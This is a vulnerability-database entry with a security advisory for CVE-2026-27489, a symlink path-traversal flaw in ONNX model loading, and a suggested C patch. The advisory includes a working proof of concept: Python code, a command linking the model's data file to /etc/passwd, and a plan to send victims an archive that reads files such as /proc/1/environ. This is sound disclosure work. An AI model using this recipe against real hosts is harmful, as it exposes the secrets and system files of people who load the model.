CVE-2026-27489
highpriority · track · 30EPSS 0.006 · 48 %ileEUUSEPSS · scored 2026-10-27
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–8.7
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
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affected products (3)
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advisories (2)
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- GHSA-3r9x-f23j-gc73onnx Vulnerable to Path Traversal via Symlink2026-03-31ghsa · osvUS
### Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. ### Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033 `std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. ### PoC ```python # Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpy_helper def create_onnx_model(output_path="model.onnx"): weight_matrix = np.random.randn(1000, 1000).astype(np.float32) X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000]) Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000]) W = numpy_helper.from_array(weight_matrix, name="W") matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul") graph = helper.make_graph( nodes=[matmul_node], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] ) model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)]) onnx.checker.check_model(model) data_file = output_path.replace('.onnx', '.data') if os.path.exists(output_path): os.remove(output_path) if os.path.exists(data_file): os.remove(data_file) onnx.save_model( model, output_path, save_as_external_data=True, all_tensors_to_one_file=True, location=os.path.basename(data_file), size_threshold=1024 * 1024 ) if __name__ == "__main__": create_onnx_model("model.onnx") ``` 1. Run the above code to generate a sample model with external data. 2. Remove `model.data` 3. Run `ln -s /etc/passwd model.data` 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded ```python import onnx from onnx.external_data_helper import load_external_data_for_model def load_onnx_model_basic(model_path="model.onnx"): model = onnx.load(model_path) return model def load_onnx_model_explicit(model_path="model.onnx"): model = onnx.load(model_path, load_external_data=False) load_external_data_for_model(model, ".") return model if __name__ == "__main__": model = load_onnx_model_basic("model.onnx") ``` A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file. ### Impact Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model. NOTE: this issue is not limited to UNIX. ### Sample patch ```c #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h> int open_external_file_no_symlink(const char *base_dir, const char *relative_path) { int dirfd = -1; int fd = -1; struct stat st; // Open base directory dirfd = open(base_dir, O_RDONLY | O_DIRECTORY); if (dirfd < 0) { return -1; } // Open the target relative to base_dir // O_NOFOLLOW => fail if final path component is a symlink fd = openat(dirfd, relative_path, O_RDONLY | O_NOFOLLOW); close(dirfd); if (fd < 0) { // ELOOP is the typical error if a symlink is encountered return -1; } // Inspect the *opened file* if (fstat(fd, &st) != 0) { close(fd); return -1; } // Enforce "regular file only" if (!S_ISREG(st.st_mode)) { close(fd); errno = EINVAL; return -1; } // fd is now: // - not a symlink // - not a directory // - not a device / FIFO / socket // - race-safe return fd; } ``` ### Resources * https://cwe.mitre.org/data/definitions/61.html * https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 * https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
- PYSEC-2026-22392026-04-01vendor · osvUS
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.
also known as (6)
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sources
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references (11)
External citations — patches, advisories, analysis.
- https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cbcnnvd
- https://github.com/onnx/onnx/releasesPatchcnnvd
- https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73cnnvd
- https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cbenisa_euvd
- https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73enisa_euvd
- https://access.redhat.com/errata/RHSA-2026:24977nvd
- https://access.redhat.com/security/cve/CVE-2026-27489nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2453929nvd
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